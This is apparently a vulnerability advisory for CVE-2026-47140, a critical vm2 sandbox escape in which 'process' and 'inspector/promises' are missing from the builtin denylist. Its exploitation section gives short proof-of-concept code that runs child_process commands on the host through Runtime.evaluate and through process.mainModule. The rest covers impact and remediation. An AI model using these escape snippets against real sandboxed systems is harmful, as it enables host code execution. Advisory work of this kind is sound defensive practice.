CVE-2026-47140: vm2 Sandbox Escape via Incomplete Builtin Denylist
A maximum-severity sandbox escape tracked as CVE-2026-47140 has been discovered in vm2, the widely-used Node.js sandbox library. With a CVSS v3.1 score of 10.0 (Critical), the flaw allows sandboxed code to reach host-side execution by accessing the process and inspector/promises Node.js builtins, which were missing from the NodeVM denylist.
vm2's NodeVM implementation blocks several dangerous Node.js builtins including module, worker_threads, cluster, vm, repl, and inspector. However, the denylist fails to include:
process— the global Node.js process object, which provides full host accessinspector/promises— the promises-based V8 inspector API, usable to reach host-realm code
The vulnerability is patched in vm2 version 3.11.4.
Vulnerability Overview
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-47140 |
| CVSS Score | 10.0 (Critical) |
| Affected Software | vm2 Node.js sandbox — all versions < 3.11.4 |
| CWE | CWE-184 — Incomplete List of Disallowed Inputs |
| Attack Vector | Local (sandboxed code execution) |
| Authentication Required | None |
| Primary Impact | Full host code execution via unrestricted builtin access |
| Source | NVD / NIST (published 2026-06-12) |
| Fix | Upgrade to vm2 3.11.4 |
Background: vm2 NodeVM and the Denylist Approach
How vm2 Restricts Builtins
vm2's NodeVM mode allows controlled access to Node.js built-in modules. To prevent sandbox escapes, it maintains a denylist of dangerous builtins that sandboxed code cannot require(). The intent is to block access to modules that could be used to exit the sandbox or interact with the host system.
The existing denylist (prior to 3.11.4) included:
const BLOCKED_BUILTINS = [
'module',
'worker_threads',
'cluster',
'vm',
'repl',
'inspector',
// ...other entries
];The Missing Entries: process and inspector/promises
The denylist approach has an inherent weakness: if any dangerous module is forgotten, the sandbox fails entirely. In this case, two critical builtins were omitted:
-
process— In Node.js,processis a global object providing access to the entire host environment: environment variables, file system viachild_process.execSync, stdin/stdout streams, and the ability toexit()the host process. Althoughprocessis normally a global (not a module), it can be accessed through certain require paths in some Node.js versions. -
inspector/promises— Node.js 19+ introducedinspector/promisesas a separate entry point for the V8 inspector API using promise-based async methods. This is distinct frominspector(which was blocked) and provides equivalent access to the V8 debugging/inspection internals, allowing sandboxed code to evaluate arbitrary expressions in the host context viaSession.post('Runtime.evaluate', ...).
Technical Exploitation
Via inspector/promises
// Sandboxed attacker code
const { Session } = require('inspector/promises'); // NOT in the denylist!
const session = new Session();
session.connect();
// Evaluate arbitrary code in the host context
const result = await session.post('Runtime.evaluate', {
expression: `require('child_process').execSync('id').toString()`,
contextId: 1 // Host context
});
console.log(result.result.value); // Returns output from host OSThe inspector/promises API's Runtime.evaluate method executes code in the host V8 context, not the sandbox context — making it a direct sandbox escape primitive.
Via process Access
Depending on the vm2 version and Node.js runtime, process may be accessible as:
// Sandboxed attacker code
// Option 1: Global access if not fully sandboxed
process.mainModule.require('child_process').execSync('whoami');
// Option 2: Via require path that leaks process object
const proc = require('process');
proc.binding('spawn_sync').spawn({ ... }); // Low-level spawn on hostImpact Assessment
| Impact Area | Description |
|---|---|
| Host RCE | Complete code execution on the host Node.js process |
| Inspector API Abuse | V8 inspector session can evaluate code in the real (host) V8 context |
| Environment Variable Access | process.env exposes all host environment secrets |
| Child Process Spawn | process.binding('spawn_sync') enables direct OS-level process creation |
| Denylist Model Invalidated | Any blocklist approach without explicit allowlisting is fundamentally fragile |
Why Denylists Fail for Sandboxing
This CVE illustrates a fundamental security architecture problem: denylist-based sandboxing is inherently fragile. Every time Node.js adds a new module or a new entry point for an existing module (like inspector/promises vs inspector), the denylist must be updated manually. A single omission results in complete sandbox bypass.
The more robust approach is allowlist-based module control, where only explicitly permitted modules can be required, and everything else is blocked by default.
Remediation
Upgrade vm2 to 3.11.4
npm update vm2
# or
yarn upgrade vm2The fix adds process and inspector/promises to the blocked builtins list.
Defense in Depth
- Don't rely solely on vm2's denylist — pair with OS-level restrictions
- Audit Node.js builtin modules on each Node.js upgrade for new entry points
- Use allowlist-based module control where possible
- Run vm2 sandboxes in a restricted container (seccomp, AppArmor, user namespaces)
- Consider alternatives:
isolated-vm, Deno, or Worker Threads with--experimental-permission
# Worker Threads with Node.js 20+ permissions (allowlist-based)
node --experimental-permission \
--allow-fs-read=/only/needed/path \
--allow-child-process=false \
sandbox-worker.jsRelated CVEs in This Batch
This is one of four vm2 sandbox escapes fixed simultaneously in version 3.11.4:
| CVE | Vulnerability |
|---|---|
| CVE-2026-47131 | Buffer prototype hijack via __lookupGetter__ + TypeError |
| CVE-2026-47137 | Strict equality bypass enables require: false circumvention |
| CVE-2026-47140 (this advisory) | Incomplete denylist — process and inspector/promises not blocked |
| CVE-2026-47208 | General sandbox breakout enabling arbitrary host command execution |
Key Takeaways
- CVE-2026-47140 is a CVSS 10.0 vm2 escape caused by an incomplete denylist —
processandinspector/promiseswere omitted inspector/promises(a Node.js 19+ API) provides direct access to the host V8 context viaRuntime.evaluate, making it a perfect sandbox escape primitive- Denylist approaches to sandboxing are inherently fragile — every new Node.js builtin entry point can create a bypass
- All vm2 versions prior to 3.11.4 are vulnerable — upgrade immediately
- For high-security sandboxing requirements, move to allowlist-based module control and OS-level isolation